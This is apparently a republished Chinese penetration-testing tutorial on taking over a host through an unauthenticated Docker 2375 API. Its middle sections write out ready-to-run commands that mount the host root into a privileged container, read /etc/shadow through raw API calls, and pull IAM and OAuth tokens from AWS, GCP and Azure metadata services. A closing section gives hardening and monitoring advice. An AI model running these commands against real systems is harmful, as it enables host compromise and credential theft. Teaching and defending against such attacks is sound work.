一个2375端口,30秒拿下整台宿主机——Docker渗透实战全流程

admin 2026-06-23 05:46:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了Docker2375端口未授权访问漏洞的完整渗透测试流程,从架构原理到利用方法,包括通过挂载宿主机根目录实现权限提升的具体命令和API调用方式,并提供了容器内敏感信息挖掘技巧。最后给出从镜像审计、配置加固到运行时监控的纵深防御建议,强调管理端口防护和最小权限原则的重要性。 综合评分: 85 文章分类: 渗透测试,漏洞分析,云安全,安全建设,实战经验


cover_image

一个 2375 端口,30 秒拿下整台宿主机——Docker 渗透实战全流程

原创

极客零零七 极客零零七

极客零零七

2026年6月21日 06:00 加拿大

在小说阅读器读本章

去阅读

很多人以为容器是一道”隔离墙”,但在渗透测试里,它常常是宿主机门口那把忘了锁的锁。一个对公网裸奔的 2375 端口、一行 -v /:/mnt,攻击者就能从容器直接读写宿主机的 /etc/shadow。这篇把 Docker 从架构原理、未授权访问、宿主机提权到容器内后渗透的完整链路走一遍,每条命令都可直接复现;最后给出一套从构建到运行时的纵深防御基线。全程仅用于授权测试与自有环境,请勿越界。


一、 Docker 架构与基础组件

在深入渗透测试之前,理解 Docker 的底层运行机制是关键。Docker 并不是一个孤立的程序,而是由多个核心组件协同工作的生态系统:

  • containerd:负责容器完整生命周期管理的底层核心运行时(包括镜像传输、存储、执行及网络监控)。它抽象了操作系统底层的系统调用。
  • runc:符合 OCI(Open Container Initiative)标准的轻量级通用容器运行时,由 containerd 调用来真正启动和管理容器。
  • gRPC:用于 docker-engine 与 containerd 之间的高效通信。

延伸对比:Podman 与 Docker 的客户端-服务器(C/S)架构及守护进程(Daemon)模式不同,Podman 采用无守护进程(Daemonless) 架构,并天然支持非 root 容器(Rootless)。这意味着容器以启动用户的权限运行,即便容器被攻破,攻击者也极难直接获取宿主机的 root 权限,安全性显著提升。


二、 端口暴露:2375 与 2376 未授权访问漏洞

当 Docker 配置了远程管理 API 且缺乏严格的认证时,会成为攻击者最完美的突破口。

1. 端口辨析

  • 2375/TCP:Docker 远程 API 的默认未加密端口。如果未配置认证,任何人都可以通过该接口完全控制 Docker 守护进程。
  • 2376/TCP:受 TLS 保护的认证端口,正确配置下需客户端证书(mTLS)才能访问。注意:curl --insecure-k)只跳过服务端证书校验,并不提供客户端证书,因此对配置正确的 2376 无法未授权利用——真正的突破口几乎都在裸奔的 2375 上。

2. 漏洞探测与枚举

当使用 Nmap 扫出 2375 端口开放后,可以通过以下方式进行信息收集:

# 方式一:利用 curl 获取 Docker 版本信息curl -s http://<TARGET_IP>:2375/version&nbsp;| jq
# 方式二:直接利用本地 docker 客户端交互(推荐)docker -H tcp://<TARGET_IP>:2375&nbsp;versiondocker -H tcp://<TARGET_IP>:2375&nbsp;ps -a

安全小技巧:为了避免每次都输入 -H 参数,可以直接执行 export DOCKER_HOST="tcp://<TARGET_IP>:2375"


三、 核心利用:从未授权访问到宿主机提权

一旦确认 2375 端口存在未授权访问,攻击者可以通过挂载宿主机根目录的方式,实现全自动的宿主机权限提升。

1. 极速提权命令(Docker CLI 场景)

docker -H tcp://<TARGET_IP>:2375&nbsp;run&nbsp;--rm&nbsp;-it&nbsp;--privileged&nbsp;--net=host&nbsp;-v /:/mnt&nbsp;alpine

原理解析:

  • -v /:/mnt:将宿主机的根目录(/)挂载到容器的 /mnt 目录下。这一步是提权的核心——仅凭此挂载 + chroot,已足以读写整台宿主机。
  • --privileged:赋予容器几乎与宿主机相同的内核能力(Capabilities)。在 2375 未授权场景下它并非必需,但会让后续内核级操作(如加载模块、访问设备)更顺手。
  • 进入容器后,直接执行 chroot /mnt bash 或直接查看 /mnt/etc/shadow,即可篡改或窃取宿主机的用户凭证。

2. 极端场景下的利用(仅能通过 Curl 交互)

如果在特定网络环境下无法使用 Docker 客户端,也可以通过原生 curl 调用 API 接口来创建并启动恶意容器。

注意:以下示例针对未授权的 2375(http) 端口。Binds 与 Privileged 必须放在 HostConfig 内,放在 payload 顶层会被 API 忽略,导致挂载与特权均不生效。

  • 第一步:创建容器,绑定宿主机根目录
curl -s -X&nbsp;POST&nbsp;-H&nbsp;"Content-Type: application/json"&nbsp;\&nbsp; &nbsp;&nbsp;http://<TARGET_IP>:2375/containers/create?name=exploit \&nbsp; &nbsp; -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "/dev/null"],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"HostConfig": {"Binds": ["/:/mnt"], "Privileged": true}}'
  • 第二步:启动该容器
curl -s -X POST http://<TARGET_IP>:2375/containers/<CONTAINER_ID>/start
  • 第三步:创建 exec 实例(返回一个 exec Id)
curl -s -X POST -H&nbsp;"Content-Type: application/json"&nbsp;\&nbsp; &nbsp; http://<TARGET_IP>:2375/containers/<CONTAINER_ID>/exec&nbsp;\&nbsp; &nbsp; -d '{"AttachStdout":&nbsp;true,&nbsp;"Cmd": ["/bin/sh",&nbsp;"-c",&nbsp;"cat /mnt/etc/shadow"]}'
  • 第四步:启动 exec,真正执行命令 containers/.../exec 仅创建实例,必须再调用 /exec/<EXEC_ID>/start 才会运行:
curl -s -X POST -H&nbsp;"Content-Type: application/json"&nbsp;\&nbsp; &nbsp; http://<TARGET_IP>:2375/exec/<EXEC_ID>/start&nbsp;\&nbsp; &nbsp; -d '{"Detach":&nbsp;false,&nbsp;"Tty":&nbsp;false}'

四、 容器内后渗透:敏感信息挖掘

当你成功攻破某个容器并拿到 Shell 后,不要急于寻找逃逸漏洞,容器内部往往也持久化了大量的敏感资产:

  1. 环境变量(Environment Variables):执行 env 或通过 docker inspect 查看容器详情,开发人员经常将数据库密码、API 密钥、Token 写入环境变量。
  2. 集群与云凭证:在云环境或 Kubernetes 中,可通过请求元数据服务(Metadata Service,统一入口 169.254.169.254)窃取 IAM 凭证。注意三大云的路径与认证头各不相同,且 AWS 现已默认 IMDSv2(需先 PUT 取 token):
   # AWS(IMDSv1,旧实例仍可用)wget -qO-&nbsp;http://169.254.169.254/latest/meta-data/iam/security-credentials/
   # AWS(IMDSv2,需先取 token)&nbsp; &nbsp;&nbsp;TOKEN=$(curl -s -X&nbsp;PUT&nbsp;"http://169.254.169.254/latest/api/token"&nbsp;\&nbsp; &nbsp; &nbsp; -H&nbsp;"X-aws-ec2-metadata-token-ttl-seconds: 60")&nbsp; &nbsp; curl -s -H&nbsp;"X-aws-ec2-metadata-token: $TOKEN"&nbsp;\&nbsp; &nbsp; &nbsp;&nbsp;http://169.254.169.254/latest/meta-data/iam/security-credentials/
   # GCP(必须带 Metadata-Flavor 头)&nbsp; &nbsp; curl -s -H&nbsp;"Metadata-Flavor: Google"&nbsp;\&nbsp; &nbsp; &nbsp;&nbsp;"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
   # Azure(必须带 Metadata:true 头)&nbsp; &nbsp; curl -s -H&nbsp;"Metadata:true"&nbsp;\&nbsp; &nbsp; &nbsp;&nbsp;"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/"
  1. 挂载卷与 Secret:检查 /run/secrets/ 目录或通过 mount 命令查看是否有宿主机的敏感路径或证书被不当挂载。

五、 Docker 纵深防御与安全基线

针对上述高危暴露面,企业与运维人员应采取“左移”策略,从镜像构建、配置审计到动态监控进行全面收敛:

1. 静态配置与镜像审计

  • Docker 守护进程安全审计:使用 docker-bench-security 或 dockscan定期对宿主机进行 CIS 基线检查。
  • Dockerfile 语法审计:在 CI/CD 流程中引入 hadolint 或 dockerfilelint,禁止在 Dockerfile 中写死凭证、禁止使用未固定版本或来源不可信的基础镜像(坚持镜像摘要 digest 锁定 + 官方/可信源)、限制以 USER root 运行容器。
  • 镜像漏洞扫描:部署 Clair 或 Trivy,在镜像推送到私有仓库(如 5000 端口的 Docker Registry)前进行 CVE 漏洞扫描。

2. 运行时动态监控(Runtime Security)

即使配置再完美,也需要防御 0-day 漏洞。引入 Falco 等内核级监控工具,通过编译内核模块(Kernel Module)或 eBPF 捕获系统调用:

  • 监控指标:当有特权容器启动(Privileged container started)、敏感路径被挂载(Container with sensitive mount started)或容器内异常派生 Shell(A shell was spawned in a container)时,Falco 会实时告警并记录事件线索。

总结

Docker 渗透测试的本质在于“寻找隔离边界的裂缝”。无论是由于运维疏忽导致的 2375 端口未授权暴露,还是由于开发贪图方便配置的 --privileged 特权模式,都是打破容器隔离的致命伤。通过在构建时实施 Lint 审计、在部署时收敛管理端口、在运行时引入动态审计,才能构建起完整的容器安全纵深防御体系。

记住攻防双方共用的那张清单:别让管理端口裸奔、别用 root 跑容器、别把宿主机根目录挂进去、别在运行时放过特权容器告警。 攻击者照着找洞,防御者照着堵洞。


关注「极客零零七」,每周实战攻防干货。 回复「提权」获取 Windows + Linux 提权速查表 · 回复「AD 攻击」获取 AD 域攻击手册

参考资料

https://github.com/docker/docker-bench-security https://github.com/kost/dockscan

推荐阅读

告别只会搜索的聊天机器人:如何用 754 个专业 Playbook,把 AI 变成你的高级安全分析师?

AI 自动挖洞 Benchmark:漏洞研究员真的要失业了吗?

[深度研判] 云安全攻防概览:当边界消亡,IAM 就是你最后的“护城河”

深度解析 OpenAI Daybreak:GPT-5.5 与智能体架构如何重塑代码安全防线?

【技术深潜】潘多拉的魔盒:拆解Anthropic Project Glasswing


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:极客零零七 极客零零七 极客零零七《一个 2375 端口,30 秒拿下整台宿主机——Docker 渗透实战全流程》

评论:0   参与:  0